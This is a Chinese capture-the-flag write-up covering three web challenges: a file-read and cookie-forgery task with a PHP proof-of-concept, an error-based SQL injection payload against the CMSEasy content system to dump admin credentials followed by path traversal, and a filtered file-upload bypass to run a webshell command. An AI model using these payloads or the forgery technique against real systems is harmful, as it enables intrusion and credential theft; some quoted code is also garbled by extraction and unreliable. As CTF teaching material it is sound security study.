"百度杯"CTF 9月2日 WriteUp.md

CODE 50pt

合天7月高校联赛赛前指导赛原题
访问页面后,非常明显的image参数可猜测为文件读取,返回base64编码的文件内容
然后读取一下index.php有个过滤,flag应该是在config.php下面,但是绕不过,下面就是index.php


/**
 * Created by PhpStorm.
 * Date: 2015/11/16
 * Time: 1:31
 */
header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))
    header('Refresh:0;url=./index.php?jpg=hei.jpg');
$file = $_GET['jpg'];
echo 'file:'</span>.<span class="hljs-variable">$file</span>.<span class="hljs-string">'';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
$file = str_replace("config","_", $file);
$txt = base64_encode(file_get_contents($file));

echo "";

/*
 * Can you find the flag file?
 *
 */

?>

从注释里面得到提示phpstorm,这个东西工具在写Php的时候会默认创建一个.idea文件夹,一般会直接默认创建几个文件
下面是我开phpstorm的截图

然后去访问.idea/workspace.xml 发现目录下又一个fl3g_ichuqiu.php

在首页获取它的源码如下:


/**
 * Created by PhpStorm.
 * User: pfven
 * Date: 2016/7/20
 * Time: 17:19
 */

error_reporting(E_ALL || ~E_NOTICE);
include('config.php');
function random($length, $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz') {
    $hash = '';
    $max = strlen($chars) - 1;
    for($i = 0; $i < $length; $i++) {
        $hash .= $chars[mt_rand(0, $max)];
    }
    return $hash;
}

function encrypt($txt,$key){
    for($i=0;$i$txt);$i++){
        $tmp .= chr(ord($txt[$i])+10);
    }
    $txt = $tmp;
    $rnd=random(4);
    $key=md5($rnd.$key);
    $s=0;
    for($i=0;$i$txt);$i++){
        if($s == 32) $s = 0;
        $ttmp .= $txt[$i] ^ $key[++$s];
    }
    return base64_encode($rnd.$ttmp);
}
function decrypt($txt,$key){
    $txt=base64_decode($txt);
    $rnd = substr($txt,0,4);
    $txt = substr($txt,4);
    $key=md5($rnd.$key);

    $s=0;
    for($i=0;$i$txt);$i++){
        if($s == 32) $s = 0;
        $tmp .= $txt[$i]^$key[++$s];
    }
    for($i=0;$i$tmp);$i++){
        $tmp1 .= chr(ord($tmp[$i])-10);
    }
    return $tmp1;
}
$username = decrypt($_COOKIE['user'],$key);
if ($username == 'system'){
    echo $flag;
}else{
    setcookie('user',encrypt('guest',$key));
    echo "It's Works!";
}

对应写POC即可


function ss($txt,$m){
  for($i=0;$i$m);$i++){
     $tmp .= chr(ord($m[$i])+10);
  }
  $m=$tmp;
  $tmp='';
  $txt=base64_decode($txt);
  $rnd = substr($txt,0,4);
  $txt = substr($txt,4);
  for($i=0;$i$txt);$i++){
     $key .= $txt[$i] ^ $m[$i];
  }
  $s='0123456789abcdef';
  $txt1='system';
  for($i=0;$i$txt1);$i++){
    $tmp .= chr(ord($txt1[$i])+10);
  }
  $txt1=$tmp;
  $tmp='';
  for($i=0;$i<16;$i++){
     $tmp = $key.$s[$i];
     for($ii=0;$ii$txt1);$ii++){
       $txt2 .= $txt1[$ii] ^ $tmp[$ii];
     }
     file_put_contents('1.txt',base64_encode($rnd.$txt2)."\r\n",FILE_APPEND);
     $txt2='';
   }
}
ss('VW9BNRVKDUQd','guest');//guest及其对应的cookie。
?>

跑一遍会生成了16个加密的密文,用burp的intruder加载后,爆破下,即可得到flag 。
截图如下:

YeserCMS 50pt

在文档下载里面点进一个文档后,下面有个评论区,暴露了是cmseasy

这下去搜cmseasy的公开漏洞试试,找到一个在/celive/live/header.php下存在报错注入,向它post


xajax=Postdata&xajaxargs[0]=<q>detail=xxxxxx%2527%252C%2528UpdateXML%25281%252CCONCAT%25280x5b%252Csubstring%2528%2528SELECT%252f%252a%252a%252fGROUP_CONCAT%2528username%252Cpassword%2529%2520from%2520yesercms_user%2529%252C1%252C32%2529%252C0x5d%2529%252C1%2529%2529%252CNULL%252CNULL%252CNULL%252CNULL%252CNULL%252CNULL%2529--%2520</q>>

就能曝出管理员的用户名和密码,当然需要调整下substring的姿势才能获取完整密码hash,
然后得到管理员用户名是admin,密码hash解码之后是Yeser231
进入后台之后,开始疯狂地尝试各种上传啊,执行啊,结果发现应该是权限卡死了,估计是不让你以任何方式写文件,
然后是在模板下的编辑当前模板的时候存在任意代码读取

反正这里太蠢了,最开始我还跟着他的格式走,输入的是.._d_.._d_flag_php结果死活不出来,最后直接../../flag.php就可以了。

Upload 50pt

好吧这道题被之前的做的webhacking给坑了。
一个上传,好像只能是php,然后内容里面的或是php之类都被过滤了,但是可以用大小写绕过
先上传如下文件,语言改下大小写绕过过滤什么的,然后标准的一句话被禁,换个姿势就行了,

之后就直接执行命令cat var/www/html/flag.php就行了

flag就在源码里面了

你可能感兴趣的:(WriteUp,Web)